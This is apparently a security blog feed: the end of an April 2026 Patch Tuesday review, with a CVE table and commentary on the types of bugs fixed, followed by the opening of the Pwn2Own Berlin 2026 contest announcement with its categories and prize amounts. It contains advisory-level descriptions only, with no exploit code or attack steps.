CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
CVE-2026-5875 *	Chromium: CVE-2026-5875 Policy bypass in Blink	Medium	N/A	No	No	SFB
CVE-2026-5876 *	Chromium: CVE-2026-5876 Side-channel information leakage in Navigation	Medium	N/A	No	No	Info
CVE-2026-5877 *	Chromium: CVE-2026-5877 Use after free in Navigation	Medium	N/A	No	No	RCE
CVE-2026-5878 *	Chromium: CVE-2026-5878 Incorrect security UI in Blink	Medium	N/A	No	No	Spoofing
CVE-2026-5879 *	Chromium: CVE-2026-5879 Insufficient validation of untrusted input in ANGLE	Medium	N/A	No	No	SFB
CVE-2026-5880 *	Chromium: CVE-2026-5880 Incorrect security UI in browser UI	Medium	N/A	No	No	Spoofing
CVE-2026-5881 *	Chromium: CVE-2026-5881 Policy bypass in LocalNetworkAccess	Medium	N/A	No	No	SFB
CVE-2026-5882 *	Chromium: CVE-2026-5882 Incorrect security UI in Fullscreen	Medium	N/A	No	No	Spoofing
CVE-2026-5883 *	Chromium: CVE-2026-5883 Use after free in Media	Medium	N/A	No	No	RCE
CVE-2026-5884 *	Chromium: CVE-2026-5884 Insufficient validation of untrusted input in Media	Medium	N/A	No	No	SFB
CVE-2026-5885 *	Chromium: CVE-2026-5885 Insufficient validation of untrusted input in WebML	Medium	N/A	No	No	SFB
CVE-2026-5886 *	Chromium: CVE-2026-5886 Out of bounds read in WebAudio	Medium	N/A	No	No	Info
CVE-2026-5887 *	Chromium: CVE-2026-5887 Insufficient validation of untrusted input in Downloads	Medium	N/A	No	No	SFB
CVE-2026-5888 *	Chromium: CVE-2026-5888 Uninitialized Use in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5889 *	Chromium: CVE-2026-5889 Cryptographic Flaw in PDFium	Medium	N/A	No	No	SFB
CVE-2026-5890 *	Chromium: CVE-2026-5890 Race in WebCodecs	Medium	N/A	No	No	RCE
CVE-2026-5891 *	Chromium: CVE-2026-5891 Insufficient policy enforcement in browser UI	Medium	N/A	No	No	SFB
CVE-2026-5892 *	Chromium: CVE-2026-5892 Insufficient policy enforcement in PWAs	Medium	N/A	No	No	SFB
CVE-2026-5893 *	Chromium: CVE-2026-5893 Race in V8	Medium	N/A	No	No	RCE
CVE-2026-5894 *	Chromium: CVE-2026-5894 Inappropriate implementation in PDF	Low	N/A	No	No	SFB
CVE-2026-5895 *	Chromium: CVE-2026-5895 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5896 *	Chromium: CVE-2026-5896 Policy bypass in Audio	Low	N/A	No	No	SFB
CVE-2026-5897 *	Chromium: CVE-2026-5897 Incorrect security UI in Downloads	Low	N/A	No	No	Spoofing
CVE-2026-5898 *	Chromium: CVE-2026-5898 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5899 *	Chromium: CVE-2026-5899 Incorrect security UI in History Navigation	Low	N/A	No	No	Spoofing
CVE-2026-5900 *	Chromium: CVE-2026-5900 Policy bypass in Downloads	Low	N/A	No	No	SFB
CVE-2026-5901 *	Chromium: CVE-2026-5901 Policy bypass in DevTools	Low	N/A	No	No	SFB
CVE-2026-5902 *	Chromium: CVE-2026-5902 Race in Media	Low	N/A	No	No	RCE
CVE-2026-5903 *	Chromium: CVE-2026-5903 Policy bypass in IFrameSandbox	Low	N/A	No	No	SFB
CVE-2026-5904 *	Chromium: CVE-2026-5904 Use after free in V8	Low	N/A	No	No	RCE
CVE-2026-5905 *	Chromium: CVE-2026-5905 Incorrect security UI in Permissions	Low	N/A	No	No	Spoofing
CVE-2026-5906 *	Chromium: CVE-2026-5906 Incorrect security UI in Omnibox	Low	N/A	No	No	Spoofing
CVE-2026-5907 *	Chromium: CVE-2026-5907 Insufficient data validation in Media	Low	N/A	No	No	SFB
CVE-2026-5908 *	Chromium: CVE-2026-5908 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5909 *	Chromium: CVE-2026-5909 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5910 *	Chromium: CVE-2026-5910 Integer overflow in Media	Low	N/A	No	No	RCE
CVE-2026-5911 *	Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers	Low	N/A	No	No	SFB
CVE-2026-5912 *	Chromium: CVE-2026-5912 Integer overflow in WebRTC	Low	N/A	No	No	RCE
CVE-2026-5913 *	Chromium: CVE-2026-5913 Out of bounds read in Blink	Low	N/A	No	No	Info
CVE-2026-5914 *	Chromium: CVE-2026-5914 Type Confusion in CSS	Low	N/A	No	No	RCE
CVE-2026-5915 *	Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML	Low	N/A	No	No	SFB
CVE-2026-5918 *	Chromium: CVE-2026-5918 Inappropriate implementation in Navigation	Low	N/A	No	No	SFB
CVE-2026-5919 *	Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets	Low	N/A	No	No	SFB
CVE-2026-33118	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Announcing Pwn2Own Berlin for 2026

Sat, 25 Jul 2026 19:00:42 +0200

If you just want to read the contest rules, click here.

Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

Back to top

Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

Back to top

Enterprise Applications Category

